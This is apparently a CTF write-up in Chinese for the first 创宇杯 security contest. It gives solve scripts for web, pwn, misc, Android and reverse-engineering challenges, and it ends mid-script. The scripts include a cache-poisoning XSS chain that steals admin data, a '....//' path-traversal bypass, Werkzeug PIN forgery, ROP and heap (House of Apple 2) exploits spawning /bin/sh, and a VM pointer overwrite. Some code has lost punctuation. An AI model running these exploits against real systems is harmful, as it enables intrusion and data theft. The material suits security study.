第一届创宇杯网络安全技能大赛WP

作者:玄网安全 发布:2026-09-19 19:35 收录:2026-09-21 08:44 2 次阅读 约 7341 字
摘要:附件: http://opiscodex.xyz/profile.html WEB:Ghost Loader 摘要 React Router Framework Mode 的 X-React-Router-Prerender-Data 可伪造 loader 数据。…
推荐理由:本文涵盖「React Router」、「X-React-Router-Prerender-Data」、「缓存投毒」等多个主题,重点关注 React Router。
附件:http://opiscodex.xyz/profile.html

WEB:Ghost Loader

摘要

React Router Framework Mode 的 X-React-Router-Prerender-Data 可伪造 loader 数据。利用该头把公开文章的 widgetBase 投毒到自己的 widget pack,再举报帖子让管理员 bot 加载恶意模块,最后用 admin 身份访问 /admin/export?path=/flag

解题过程

第 1 步:功能面

登录后可创建 widget pack,以 ES module 形式挂在:

/u/<username>/widgets/<name>/post-tools.js

文章页从 loader 数据里读 widgetBase,再插入:

<script type="module" src="{widgetBase}/post-tools.js"></script>

公开文章带 Cache-Control: public, s-maxage=60,缓存键不包含该请求头。登录用户可 POST /ui/report 让内部浏览器重开文章。/admin/export 仅 admin 可访问。

第 2 步:伪造 prerender 数据并缓存投毒

GET /post/<slug>.data 返回完整 loader JSON。把同样结构放进 X-React-Router-Prerender-Data,只改 routes/post.widgetBase 为自己的 pack。服务端用这份数据渲染 HTML,边缘缓存按 URL 存 60 秒。之后普通请求也会拿到被投毒的 <script type="module">

这是 React Router CVE-2025-43865(GHSA-cpj6-fhp6-mr6j)在本题中的用法。

第 3 步:bot XSS 读 flag

举报投毒后的 slug。bot 以 admin cookie 打开缓存页,执行恶意 widget。先 GET /api/me 确认 role=admin,再请求 /admin/export?path=/flag

不要让 bot 去导出当前投毒文章本身:/admin/export 会再开一轮浏览,碰到已投毒页面会递归把实例打挂。导出目标用 /flag,请求加 referrerPolicy: "no-referrer"

import json, time, uuid, requests

BASE = "http://challenge.xiaoyuyc.com:41132"
USER = "p" + uuid.uuid4().hex[:8]
PASS = "p" + uuid.uuid4().hex[:8]
PACK = "w" + uuid.uuid4().hex[:6]
SLUG = "ops-digest"

s = requests.Session()
s.trust_env = False
s.post(BASE + "/ui/register", data={"username": USER, "password": PASS}, timeout=15)
token = s.get(BASE + "/api/me", timeout=10).json()["collectorToken"]

code = f"""
(async () => {{
  if (window.__p) return; window.__p = 1;
  const send = (b) => fetch("/collect/{token}", {{
    method: "POST", headers: {{"Content-Type": "text/plain"}}, body: b
  }});
  const grab = async (tag, url) => {{
    const ac = new AbortController();
    const t = setTimeout(() => ac.abort(), 2500);
    try {{
      const r = await fetch(url, {{
        credentials: "include",
        referrerPolicy: "no-referrer",
        signal: ac.signal
      }});
      await send(tag + r.status + ":" + (await r.text()).slice(0, 4000));
    }} catch (e) {{
      await send(tag + "ERR:" + e);
    }} finally {{
      clearTimeout(t);
    }}
  }};
  await grab("ME:", "/api/me");
  await grab("FLAG:", "/admin/export?path=/flag");
}})();
"""

s.post(BASE + "/ui/widgets", data={"name": PACK, "code": code}, timeout=10)

data = s.get(f"{BASE}/post/{SLUG}.data", timeout=10).json()
data["loaderData"]["routes/post"]["widgetBase"] = f"/u/{USER}/widgets/{PACK}"
payload = json.dumps(data, separators=(","":"))

for _ in range(20):
    p = s.get(
        f"{BASE}/post/{SLUG}",
        headers={"X-React-Router-Prerender-Data": payload},
        timeout=15,
    )
    if f"/u/{USER}/widgets/{PACK}/post-tools.js" in p.text:
        break
    time.sleep(5)
else:
    raise SystemExit("cache poison failed")

s.post(BASE + "/ui/report", data={"slug": SLUG}, timeout=15)
for _ in range(20):
    time.sleep(2)
    body = s.get(f"{BASE}/collect/{token}", timeout=10).text
    if "flag{" in body:
        print(body)
        break

验证输出:

ME:200:{"username":"admin","role":"admin","collectorToken":"..."}
FLAG:200:flag{a4c9548c-dd6a-4b58-9947-d7b2434e7e85}

WEB2:Hackers Blog

目录扫描

http://challenge.xiaoyuyc.com:39232//admin/
script>
        function refreshCaptcha() {
            document.getElementById('captcha_img').src = 'captcha.php?' + Math.random();
        }

        async function doLogin() {
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;
            const captcha = document.getElementById('captcha').value;
            const msgBox = document.getElementById('message');

            if (!username || !password || !captcha) {
                msgBox.textContent = "所有字段均为必填!";
                msgBox.style.color = "#e74c3c";
                return;
            }

            try {
                const response = await fetch('login.php', {
                    method: 'POST',
                    headers: { 'Content-Type''application/json' },
                    body: JSON.stringify({ username, password, captcha })
                });

                const result = await response.json();
                
                if (result.status === true) {
                    document.cookie = "admin_auth=true; path=/";
                    msgBox.style.color = "#2ecc71";
                    msgBox.textContent = "登录成功,正在跳转...";
                    setTimeout(() => {
                        window.location.href = 'home.php';
                    }, 500);
                } else {
                    msgBox.style.color = "#e74c3c";
                    msgBox.textContent = result.msg;
                    refreshCaptcha();
                    document.getElementById('captcha').value = '';
                }
            } catch (error) {
                msgBox.textContent = "请求服务器失败,请检查网络";
            }
        }
    </script>
登录成功后,前端仅通过 document.cookie = "admin_auth=true" 设置了一个明文 Cookie 作为认证凭证。服务端只检查这个 Cookie 是否存在且值为 true,没有任何 Session 或 Token 验证。

下载功能

在后台「系统维护」页面中发现一个文件下载功能:

测试发现可以下载 download.php在下时 admin_auth=true 不能少

<?php
session_start();
require_once __DIR__ . '/../config.php';

if (!isset($_COOKIE['admin_auth']) || $_COOKIE['admin_auth'] !== 'true') {
    header("HTTP/1.1 403 Forbidden");
    die("Permission Denied.");
}

$file = $_GET['file'] ?? '';

if (empty($file)) {
    die("Parameter 'file' is missing.");
}

if (strpos($file'../') !== false) {
    echo "哎哟 被过滤了";
    $file = str_replace('../'''$file);
}

$filepath = __DIR__ . '/' . $file;

if (!file_exists($filepath)) {
    die("File not found.");
}

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . basename($filepath));

readfile($filepath);
?>

输入:  ....// 检测:  strpos 找到 '../' → 触发替换 替换:  str_replace('../', '', '....//')        找到位置 [2,3,4] 的 '../' 并移除        剩余: '..' + '/' = '../' 结果:  成功得到 '../',过滤被绕过!

Flag 文件位于 /admin/ 目录下。由于 download.php 的基准路径是 __DIR__(即 /admin/),直接读取:

curl -s -b "admin_auth=true" \
  "view-source:http://challenge.xiaoyuyc.com:39232/admin/download.php?file=....//....//....//....//flag"

哎哟 被过滤了flag{51ffe3ae-9152-4bde-9b1e-9e32f4c8d4df} 

WEB3:PyBundlePin

摘要

Flask 应用把 Werkzeug debugger PIN 当成控制台口令,并把 /proc/etc/sys 以符号链接放进 signed bundle。/bundle/index 泄漏 APP_SALT,ticket 算法可本地伪造,读出 PIN 材料后算出 9 位 PIN,再 POST /console 取 flag。

实例入口形如 http://challenge.xiaoyuyc.com:<PORT>(动态端口,下文用 BASE 表示)。

解题过程

页面写明 Source is provided,实际源码不在静态路由,而在 bundle 的 diag/proc/self/cwd/。公开 index 只列出 notes/*.txt

漏洞 1:ticket 可伪造(盐值泄漏 + SHA1 截断)

位置:app.py 中 make_ticket(),以及 /bundle/index/bundle/read

触发: 访问 /bundle/index 即可拿到 bundle_salt(即环境变量 APP_SALT)。任意相对路径只要用同一算法签名,就能通过 /bundle/read 的 ticket 校验。

成因: 签名为 sha1(f"{APP_SALT}|{normalized_name}")[:24]。盐值直接返回给未认证用户,没有 HMAC 密钥隔离。

影响: 可读取 index 未列出的 bundle 文件(隐藏目录 diag/)。

Payload / 验证:

curl -s "$BASE/bundle/index"
# {"bundle_salt":"...","entries":[{"name":"notes/ops.txt",...}, ...]}

python - <<'PY'
import hashlib
salt = "PUT_SALT_HERE"
name = "notes/ops.txt"
print(hashlib.sha1(f"{salt}|{name}".encode()).hexdigest()[:24])
PY

用算出的 ticket 读 notes/ops.txt,应返回原文,与 index 中官方 ticket 一致。

路径会先 posixpath.normpath 再签名校验:./notes/ops.txtnotes/ops.txt/. 只要规范化结果相同即可。规范化后跳出 bundle 根的路径会返回 bad ticket

漏洞 2:隐藏 diag 目录 + 符号链接 LFI

位置:seed_bundle()

(BUNDLE_DIR / "diag" / "runtime").mkdir(parents=True)
# ...
for name, target in {"proc""/proc""etc""/etc""sys""/sys"}.items():
    os.symlink(target, BUNDLE_DIR / "diag" / name)

触发: 伪造 ticket 读取 diag/.../bundle/index 只发布 notes/,但 diag/ 同样在 BUNDLE_DIR 内。

成因: 读文件只校验「相对路径 + ticket」,不校验是否出现在 index。diag/proc 等是指向宿主机伪文件系统的 symlink。源码里 BLOCKED_PROC_PARTS = ("/fd/", "/fdinfo/", "/root/"),挡住 fd 劫持和 /proc/self/root,但 /proc/self/cwd/proc/self/environ/sys/class/net/*/address/proc/sys/kernel/random/boot_id 可读。

影响: 任意读容器内大量敏感文件,包括应用源码和 Werkzeug PIN 私有比特。

Payload / 验证:

GET /bundle/read?name=diag&ticket=<sha1(salt|diag)[:24]>
-> {"error":"directories are not previewable"}   # 目录存在

GET /bundle/read?name=diag/etc/hostname&ticket=...
-> web2-xxxxxxxx

GET /bundle/read?name=diag/proc/self/cwd/app/app.py&ticket=...
-> 源码(预览截断 8192 字节,size 字段仍是全长)

漏洞 3:故意放置的 traceback 泄漏真实路径

位置:seed_bundle() 写入 diag/runtime/last_error.log

error_log = (
    "Traceback (most recent call last):\n"
    f'  File "{flask_app_module.__file__}", line 1536, in __call__\n'
    ...
    f'  File "{Path(__file__).resolve()}", line 233, in warmup_bundle\n'
    ...
)

触发: 读 diag/runtime/last_error.log

成因: 不是真实崩溃日志,启动时用 flask.app.__file__ 和 Path(__file__).resolve() 拼出来,用来提示 PIN 的 mod.__file__ 与应用路径。

影响: 确认:

  • Flask 模块文件:/usr/local/lib/python3.12/site-packages/flask/app.py
  • 应用文件:/app/app/app.py
  • 入口:gunicorn app.app:appdiag/proc/self/cmdline

Payload / 验证: 读该 log,应看到上述两条 File "..." 路径。

漏洞 4:Werkzeug PIN 材料可从 diag 拼齐

位置: 启动时 DEBUG_PIN, _ = get_pin_and_cookie_name(app)(Werkzeug 3.1.8)。/console 用该 PIN 做口令,限速 5 次 / 60 秒,但限速 key 吃 X-Forwarded-For

触发: 读 PIN 输入材料,本地按官方算法生成 9 位 PIN,再 POST /console

成因: PIN 由 public bits + private bits 的 SHA1 派生,材料全在伪文件系统里:

字段
取值
来源
username
ctfdiag/etc/passwd
(uid 10001)
modname
flask.appFlask
 类所在模块
app .__name__
Flask
实例无 __name__,回落到类名
mod.__file__/usr/local/lib/python3.12/site-packages/flask/app.py
last_error.log / requirements
uuid.getnode()int("b68462a848cf", 16)diag/sys/class/net/eth0/address
machine-id
boot_id
 字符串
/etc/machine-id
 不存在;退回 diag/proc/sys/kernel/random/boot_id。cgroup 为 0::/rpartition(b"/")[2] 为空,不再追加

Werkzeug 3.1.8 算法要点:对非空 bit 依次 sha1.update,再 cookiesalt + pinsalt,取 int(hex,16) 的十进制前 9 位,按 3 位分组。

影响: 离线算出 PIN,绕过「禁止在线爆破」设计。

Payload / 验证: PIN 为 134-676-469

curl -s -X POST "$BASE/console" \
  -H "X-Forwarded-For: 1.2.3.4" \
  --data "pin=134-676-469&cmd=flag"

返回:

<pre>flag{69e831a5-957c-4a2c-b9fe-0ffc37a6e49f}</pre>

MISC1:USB Keyboard HID

摘要

题目给出 USB 键盘流量 flag (1).pcapng。解析 usbmon HID 报告,模拟 CapsLock、小键盘、Backspace 和方向键后还原输入文本。

解题过程

第 1 步:提取 HID 报告并模拟键盘输入

pcapng 接口为 Linux usbmon0。有效数据是设备 4、端点 0x81 的中断传输完成包(usbmon type C,xfer_type 1),payload 为 8 字节 HID 键盘报告:

  • 字节 0:修饰键(0x02 = Left Shift)
  • 字节 2–7:扫描码;0x00 为按键释放,忽略
  • 0x39 CapsLock 切换大小写
  • 0x59–0x62 小键盘数字,0x63 小键盘小数点,0x58 小键盘回车
  • 0x2a Backspace、0x50 左方向键会改写已输入内容,必须按光标模拟,不能只拼接扫描码

脚本从给定 pcapng 读到最终 flag:

#!/usr/bin/env python3
import re
import struct
from pathlib import Path

PCAP = Path(r"C:\Users\34645\Downloads\flag (1).pcapng")

HID = {
    0x04"a"0x05"b"0x06"c"0x07"d"0x08"e"0x09"f",
    0x0a"g"0x0b"h"0x0c"i"0x0d"j"0x0e"k"0x0f"l",
    0x10"m"0x11"n"0x12"o"0x13"p"0x14"q"0x15"r",
    0x16"s"0x17"t"0x18"u"0x19"v"0x1a"w"0x1b"x",
    0x1c"y"0x1d"z"0x1e"1"0x1f"2"0x20"3"0x21"4",
    0x22"5"0x23"6"0x24"7"0x25"8"0x26"9"0x27"0",
    0x28"\n"0x2c" "0x2d"-"0x2e"="0x2f"["0x30"]",
    0x31"\\"0x33";"0x34"'"0x35"`"0x36","0x37".",
    0x38"/"0x54"/"0x55"*"0x56"-"0x57"+"0x58"\n",
    0x59"1"0x5a"2"0x5b"3"0x5c"4"0x5d"5"0x5e"6",
    0x5f"7"0x60"8"0x61"9"0x62"0"0x63".",
}
SHIFT = str.maketrans(
    "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\;',./",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"<>?",
)


def epb_packets(blob: bytes):
    off = 0
    while off + 12 <= len(blob):
        btype, blen = struct.unpack_from("<II", blob, off)
        if blen < 12 or off + blen > len(blob):
            break
        if btype == 6:
            caplen = struct.unpack_from("<I", blob, off + 20)[0]
            yield blob[off + 28 : off + 28 + caplen]
        off += blen


def hid_reports(blob: bytes):
    for pkt in epb_packets(blob):
        if len(pkt) < 72:
            continue
        if chr(pkt[8]) != "C" or pkt[9] != 1 or pkt[10] != 0x81:
            continue
        yield pkt[64:72]


def decode(blob: bytes) -> str:
    buf, pos, caps, prev = [], 0False, set()
    for report in hid_reports(blob):
        keys = [k for k in report[2:] if k]
        new_keys = [k for k in keys if k not in prev]
        prev = set(keys)
        shift = bool(report[0] & 0x22)
        for k in new_keys:
            if k == 0x39:
                caps = not caps
            elif k == 0x2a and pos > 0:
                del buf[pos - 1]
                pos -= 1
            elif k == 0x4c and pos < len(buf):
                del buf[pos]
            elif k == 0x50:
                pos = max(0, pos - 1)
            elif k == 0x4f:
                pos = min(len(buf), pos + 1)
            else:
                ch = HID.get(k)
                if not ch:
                    continue
                if shift:
                    ch = ch.translate(SHIFT)
                elif caps and ch.isalpha():
                    ch = ch.upper()
                buf.insert(pos, ch)
                pos += 1
    return "".join(buf)


text = decode(PCAP.read_bytes())
print(text)
m = re.search(r"flag\{[^}]+\}", text)
print(m.group(0if m else "flag not found")

运行输出(截断前文):

Hello! Hacker, please keep this secret key safe and make sure it is not stolen by others.
key:flag{f871360f-c353-42da-a782-d5b8a252d1e4}
flag{f871360f-c353-42da-a782-d5b8a252d1e4}

输入过程中先打出 flag{} 和 UUID,再用左方向键回到花括号内插入内容,最后用 Backspace 修正若干字符。

MISC2:薛定谔的猫

摘要

附件虽然命名为 PDF,但文件头实际是 PNG,PNG 结束后还拼接了一个 ZIP。ZIP 的条目被设置了误导性的加密标志,直接用普通阅读器或解压工具会失败;手工读取 raw-deflate 数据后,从两个 Base64 片段中恢复完整 flag。

解题过程

第 1 步:识别文件类型并拆出 ZIP

检查文件头发现没有 %PDF,而是 PNG magic bytes:

89 50 4e 47 0d 0a 1a 0a

解析 PNG chunk 到 IEND,其结束偏移为 904295。紧接着的数据以 PK\x03\x04 开始,说明文件结构为:

PNG (904295 bytes) || ZIP archive || EOCD 后的附加数据

ZIP 中的条目为 secret/Cat.png 和 secret/cat.txt。条目 general-purpose flag 设置了加密位,但数据本身是可直接解压的 raw-deflate 流;因此忽略该标志并从 local header 读取压缩数据。

第 2 步:提取两段 flag 并拼接

secret/Cat.png 中的文字提示打开 cat.txt。解压 cat.txt 后得到:

恭喜你拿到了老板的秘密,咦?........怎么只有一半!??
ZmxhZ3tlZmI3MjA0YS1hNGJlLTRiNWYtOTQ0OS01

第二行 Base64 解码为 flag 的前半段:

flag{efb7204a-a4be-4b5f-9449-5

继续检查 ZIP 的 EOCD。EOCD 后有一段额外 Base64:

Y2NkODBhZTMxNzl96L+Z5piv57uZ5L2g55qE54yr54yr55qEZmxhZw==

解码结果以 ccd80ae3179} 开头,后面的中文只是提示文本。因此取到 } 为止,并与前半段拼接。

完整复现脚本如下:

#!/usr/bin/env python3
import base64
import re
import struct
import sys
import zlib
from pathlib import Path

PNG = b"\x89PNG\r\n\x1a\n"
LOCAL = b"PK\x03\x04"
EOCD = b"PK\x05\x06"

def find_png_end(data):
    if not data.startswith(PNG):
        raise ValueError("not a PNG/ZIP polyglot")
    pos = 8
    while True:
        size = struct.unpack_from(">I", data, pos)[0]
        kind = data[pos + 4:pos + 8]
        pos += 12 + size
        if kind == b"IEND":
            return pos

def read_entries(archive):
    entries = {}
    pos = 0
    while archive[pos:pos + 4] == LOCAL:
        fields = struct.unpack_from("<IHHHHHIIIHH", archive, pos)
        _, _, _, method, _, _, _, csize, _, nsize, xsize = fields
        name_at = pos + 30
        data_at = name_at + nsize + xsize
        name = archive[name_at:name_at + nsize].decode()
        if name.endswith("/"):
            entries[name] = b""
        else:
            if method != 8:
                raise ValueError("unexpected ZIP method")
            entries[name] = zlib.decompress(
                archive[data_at:data_at + csize], -15
            )
        pos = data_at + csize
    return entries

def solve(path):
    data = Path(path).read_bytes()
    archive = data[find_png_end(data):]
    entries = read_entries(archive)

    first_b64 = re.search(
        rb"[A-Za-z0-9+/=]{16,}", entries["secret/cat.txt"]
    ).group()
    first = base64.b64decode(first_b64)

    eocd = archive.rfind(EOCD)
    comment_len = struct.unpack_from("<H", archive, eocd + 20)[0]
    tail = archive[eocd + 22 + comment_len:]
    second_b64 = re.search(rb"[A-Za-z0-9+/=]{16,}", tail).group()
    second = base64.b64decode(second_b64)
    suffix = second[:second.index(b"}") + 1]

    flag = (first + suffix).decode()
    print(flag)

solve(sys.argv[1if len(sys.argv) > 1 else r"C:\Users\34645\Downloads\cat - 副本.pdf")

运行结果:

flag{efb7204a-a4be-4b5f-9449-5ccd80ae3179}

pwn1:blindrop

摘要

32 位无 PIE 栈溢出服务。软件 canary 把函数参数与局部副本绑在一起,用同一 dword 同时当假 canary 和 ROP 返回地址,leak libc 后 system("/bin/sh")

解题过程

第 1 步:确认溢出与软件 canary

vuln() 中 read(0, buf, 0x400)buf 在 ebp-0x8c。返回地址在 +0x90main 传入 expected=0xdcc82f00,函数把该值拷到 ebp-0xc;返回前比较两处,不等则 _exit(1)。溢出必须让 payload[0x80:0x84] == payload[0x94:0x98]0x94 恰好是 ret 后的第一个栈槽,因此把它设成 ROP 的返回地址,并把同一值写进 +0x80

远程:challenge.xiaoyuyc.com:29069,Ubuntu 22.04,libc libc6-i386_2.35-0ubuntu3.14

#!/usr/bin/env python3
from pwn import *

elf = ELF("./blindrop", checksec=False)
context.binary = elf

HOST, PORT = "challenge.xiaoyuyc.com"29069
MAIN_LOOP = 0x80492F3
POP_EBX_RET = 0x8049022
PUTS_OFF, SYSTEM_OFF, BINSH_OFF = 0x728100x47CD00x1B90D5


def overflow(ret, after_ret):
    fake = after_ret[0]
    return (
        b"A" * 0x80
        + p32(fake)
        + b"B" * 0xC
        + p32(ret)
        + b"".join(p32(x) for x in after_ret)
    )


io = remote(HOST, PORT)
io.recvuntil(b"payload> ")
io.send(overflow(elf.plt["write"], [MAIN_LOOP, 1, elf.got["puts"], 4]))
io.recvuntil(b"canary check passed.\n")
libc = u32(io.recvn(4)) - PUTS_OFF

io.recvuntil(b"payload> ")
io.send(overflow(libc + SYSTEM_OFF, [POP_EBX_RET, libc + BINSH_OFF]))
io.recvuntil(b"canary check passed.\n")
io.sendline(b"cat flag")
print(io.recvall(timeout=2).decode(errors="replace"))

Stage 1:write(1, puts@GOT, 4),返回 main+0x31 循环,该地址同时当假 canary。Stage 2:system("/bin/sh"),返回 pop ebx; ret 当假 canary。

flag{c28ff07a-1ed2-4361-9c5e-d33fa150a474}

PWN2:vmpwn

摘要

自定义栈式 VM 的 SETREG 把寄存器号当有符号下标且无边界检查,可覆盖相邻的 funcs[] 函数指针并 CALL 到 win()

解题过程

第 1 步:覆盖 funcs[0] 调用 win

run_vm 在栈上排布:regs[8]funcs[2]stack[16]spfuncs[0]=safe_fnfuncs[1]=exit0win() 读 /flag 并写出。

opcode:1 PUSH imm642 SETREG r3 GETREG r4 CALL whichwhich<=1)、5 HALTSETREG/GETREG 对下标做 movsx 后直接 regs[r],可写到 funcs[0](index 8)。CALL 只检查 which<=1,不检查指针内容。

#!/usr/bin/env python3
from pwn import *

elf = ELF("./vmpwn", checksec=False)
context.binary = elf

HOST, PORT = "challenge.xiaoyuyc.com"26244
PUSH, SETREG, CALL, HALT = 1245

code = bytes([PUSH]) + p64(elf.symbols["win"]) + bytes([SETREG, 8, CALL, 0, HALT])
io = remote(HOST, PORT)
io.recvuntil(b"len> ")
io.sendline(str(len(code)).encode())
io.recvuntil(b"code> ")
io.send(code)
print(io.recvall(timeout=3).decode())
flag{ef2fa786-8080-4afb-bda8-da73c6170bc9}

PWN3:miao

摘要

NoteKeeper 堆笔记题。delete 不置空指针形成 UAF;glibc 2.35 下 unsorted leak + tcache poison _IO_list_all,House of Apple 2 在 exit 时 system("  sh")

解题过程

第 1 步:UAF leak 后 FSOP

notes[16] 每项 {ptr, size}delete 只 free(ptr),不 NULLshow/edit 仍可用。edit 还会 ptr[size]=0,必须按原 size 写满。

远程:challenge.xiaoyuyc.com:26575,libc Ubuntu GLIBC 2.35-0ubuntu3.8。unsorted fd 相对 libc 偏移 0x21ace0。tcache fd 经 safe-linking:fd = next ^ (chunk>>12)

#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
elf = ELF("./miao", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
PROMPT = b">> "
io = remote("challenge.xiaoyuyc.com"26575)
io.recvuntil(PROMPT)

def menu(c): io.sendlineafter(PROMPT, str(c).encode())
def add(sz, data):
    menu(1); io.sendlineafter(b"Size: ", str(sz).encode())
    io.sendafter(b"Content: ", data.ljust(sz, b"\x00")[:sz])
def delete(i):
    menu(2); io.sendlineafter(b"Index: ", str(i).encode())
def show(i, n):
    menu(3); io.sendlineafter(b"Index: ", str(i).encode())
    io.recvuntil(b"Content: "); return io.recvn(n)
def edit(i, data, sz):
    menu(4); io.sendlineafter(b"Index: ", str(i).encode())
    io.sendafter(b"Content: ", data.ljust(sz, b"\x00")[:sz])

add(0x500b"A"*8)   # 0 unsorted
add(0x20b"C"*8)    # 1
add(0x20b"D"*8)    # 2 tcache head
add(0x20b"E"*8)    # 3
add(0x400b"B"*8)   # 4 fake FILE
add(0x20b"G"*8)    # 5 guard

delete(0)
libc.address = u64(show(08)) - 0x21ACE0
delete(1)
page = u64(show(18))
delete(2)
fd = u64(show(28))
chunk1 = fd ^ page
chunk2 = chunk1 + 0x30
fp = chunk1 + 0x90
edit(2, p64(libc.sym._IO_list_all ^ (chunk2 >> 12)), 0x20)

wide_data, wide_vtable, lock = fp+0xE8, fp+0x200, fp+0x300
fake = bytearray(0x400)
def w(off, val, n=8): fake[off:off+n] = p64(val)[:n]
fake[0:8] = b"  sh\x00\x00\x00\x00"
w(0x200); w(0x281); w(0x88, lock); w(0xA0, wide_data)
w(0xC014); w(0xD8, libc.sym._IO_wfile_jumps)
w(0xE8+0x180); w(0xE8+0x201); w(0xE8+0x300)
w(0xE8+0xE0, wide_vtable); w(0x200+0x68, libc.sym.system)
edit(4, bytes(fake), 0x400)

add(0x20b"X"*8)
add(0x20, p64(fp))
menu(5)
io.sendline(b"cat flag")
print(io.recvall(timeout=2).decode(errors="replace"))

exit → _IO_flush_all → _IO_wfile_overflow → system(fp)_flags 用   sh,避免 sh\x00 带上 _IO_UNBUFFERED

Bye!
flag{ecb2473e-cdfd-4e97-bfef-4c4899d4aa1b}

安卓逆向1:WebPortal

摘要

APK 用 WebView + JNI nativeGetFlag(token) 取 flag。token 是 md5(android_id)(长度 32),assets/native/flag.dat 可用 so 内固定密钥离线解密。

解题过程

第 1 步:离线解密 flag.dat

libchallenge.so 中 Java_com_xiaoyuyc_mobile1_JsBridge_nativeGetFlag:token 转小写后与 md5(Settings.Secure.ANDROID_ID) 比较;通过后读 native/flag.datM1: + hex)。解密密钥为 so 中两段 16 字节 XOR:

5d91c42eb70368f019aa7c44d3289f61
XOR 57b1e285de927a932e4b7f5d777671fd
= 0a2026ab6991126337e10319a45eee9c

对密文按字节:key[(3+5i)&0xf] 链式 XOR、i*0x1d+0x41、rol3,i%7!=0 时再按 i%7 旋转。

#!/usr/bin/env python3
from pathlib import Path
from zipfile import ZipFile

apk = Path("WebPortal_1.0.apk")
with ZipFile(apk) as z:
    blob = bytes.fromhex(z.read("assets/native/flag.dat")[3:].decode())
    so = z.read("lib/arm64-v8a/libchallenge.so")

k1 = bytes.fromhex("5d91c42eb70368f019aa7c44d3289f61")
k2 = bytes.fromhex("57b1e285de927a932e4b7f5d777671fd")
key = bytes(a ^ b for a, b in zip(k1, k2))
MAGIC = 0x2492492492492493

def imod7(i):
    x16 = (i * MAGIC) >> 64
    x0 = i - x16
    x16 = (x16 + (x0 >> 1)) >> 2
    return (i + x16 - (x16 << 3)) & 0xFFFFFFFFFFFFFFFF

w15 = (key[7] ^ 0xFFFFFFA5) & 0xFFFFFFFF
x9, out = 3, bytearray()
for i, orig in enumerate(blob):
    w15 = (key[x9 & 0xF] ^ w15) & 0xFFFFFFFF
    w15 = (w15 ^ ((i * 0x1D + 0x41) & 0xFFFFFFFF)) & 0xFFFFFFFF
    w15 = (((w15 >> 5) & 7) | ((w15 << 3) & 0xFFFFFFFF)) & 0xFFFFFFFF
    w16 = (w15 ^ orig) & 0xFFFFFFFF
    x17 = imod7(i)
    if x17:
        rot, inv = x17 & 7, (-x17) & 7
        w16 = (((w16 & 0xFF) >> rot) | ((w16 << inv) & 0xFFFFFFFF)) & 0xFFFFFFFF
    out.append(w16 & 0xFF)
    x9 += 5
print(out.decode())
flag{WebView_MobIleI_2026Year}

安卓逆向2:茧中人

摘要

壳 libloader.so 用 Build.FINGERPRINT ^ 0x5A 解密 assets/init_res 得到 DEX。checkFlag 是 native:输入与静态 CIPHER_BLOCK 按签名哈希低字节做 XOR/rol3 比较。界面拼 flag{ + 输入 + }

解题过程

第 1 步:解 DEX 并还原 checkFlag

init_res 解密:prev=0xAAout[i]=rol6(prev ^ i ^ ct[i] ^ (fp[i%len(fp)]^0x5A))prev=ct[i]。用 DEX 魔数/header_size/endian/string_ids_off 恢复 16 字节密钥,对应指纹前缀 com.xiaoyuyc.mob,Adler32 校验通过。

DEX 中 VerificationCenter.CIPHER_BLOCK 在 <clinit>

c9886591cbb30850a9218890395a6d1759aef4c561d78644515c

native checkFlag(String, byte[])state = (sigHash & 0xff) ^ 0x83,对每个输入字节 state = rol3(state ^ in[i]),要求 (state + 3*i) & 0xff == cipher[i]。so 内写死期望签名哈希 0xb743fbd9(低字节 0xd9)。逆向得明文 cyctf_mobile2_2026year_yes

#!/usr/bin/env python3
from pathlib import Path
from zipfile import ZipFile
import struct, zlib

apk = Path("茧中人_1.0.apk")
with ZipFile(apk) as z:
    ct = z.read("assets/init_res")

def rol6(x):
    return ((x << 6) | ((x >> 2) & 0x3F)) & 0xFF

def ror6(x):
    return ((x >> 6) | ((x << 2) & 0xFF)) & 0xFF

def recover(i, pt):
    prev = 0xAA if i == 0 else ct[i - 1]
    return (ror6(pt) ^ prev ^ i ^ ct[i]) & 0xFF

key = [0] * 16
for i, pt in enumerate(b"dex\n035\x00"):
    key[i] = recover(i, pt)
for off, raw in (
    (0x20, struct.pack("<I", len(ct))),
    (0x24, struct.pack("<I"0x70)),
    (0x28, struct.pack("<I"0x12345678)),
    (0x2Cb"\x00" * 8),
    (0x3C, struct.pack("<I"0x70)),
):
    for j, pt in enumerate(raw):
        key[(off + j) & 0xF] = recover(off + j, pt)

dex = bytearray(len(ct))
prev = 0xAA
for i in range(len(ct)):
    dex[i] = rol6(prev ^ (i & 0xFF) ^ ct[i] ^ key[i & 0xF])
    prev = ct[i]
assert dex.startswith(b"dex\n"and zlib.adler32(dex[12:]) & 0xFFFFFFFF == struct.unpack_from("<I", dex, 8)[0]

cipher = bytes.fromhex("c9886591cbb30850a9218890395a6d1759aef4c561d78644515c")

def ror3(x):
    return ((x >> 3) | ((x << 5) & 0xFF)) & 0xFF

h, state, pt = 0xD90xD9 ^ 0x83, bytearray()
for i, c in enumerate(cipher):
    inp = state ^ ror3((c - 3 * i) & 0xFF)
    pt.append(inp)
    state = c
print("flag{" + pt.decode() + "}")
flag{cyctf_mobile2_2026year_yes}

RE1:Galgame

摘要

题目给出一个 Ren'Py 游戏包。核心脚本被编译成 RPYC2 文件,校验逻辑和一个经过单字节 XOR 的目标值都保存在解压后的序列化数据中。提取目标并用同样的 XOR 逆变换即可恢复输入。

解题过程

第 1 步:解包 RPYC2

游戏脚本位于 game/script.rpyc,文件头为 RENPY RPC2。头部后紧跟一个小端记录:

slot, offset, compressed_length = struct.unpack("<III", ...)

取出对应的 zlib 数据并解压。解压结果不是普通源码,而是 Ren'Py 序列化的 AST;其中仍保留了 exec 节点中的 Python 源码字符串。

第 2 步:恢复目标输入

在解压数据中可以看到:

heart = b'OJN\x1b\x1a\x1c\x1aHULLI\x1dUL\x1c\x1dKU\x1a\x19KOULO\x1cHKJ\x1e\x1dO\x1a@\x19'

def dec(content):
    return ''.join([chr(ord(i) ^ 0x78for i in content]).encode()

encry_input = dec(user_input)
if encry_input == heart:
    # success

dec 对每个字节异或 0x78。异或满足自反性,因此直接计算 heart[i] ^ 0x78 即可得到正确输入。成功提示还要求提交时加上 WuCup 前缀。

完整复现脚本:

"""Recover the accepted input from a Ren'Py RPYC2 script."""

import ast
import re
import struct
import sys
import zlib
from pathlib import Path


def solve(path: str) -> None:
    blob = Path(path).read_bytes()
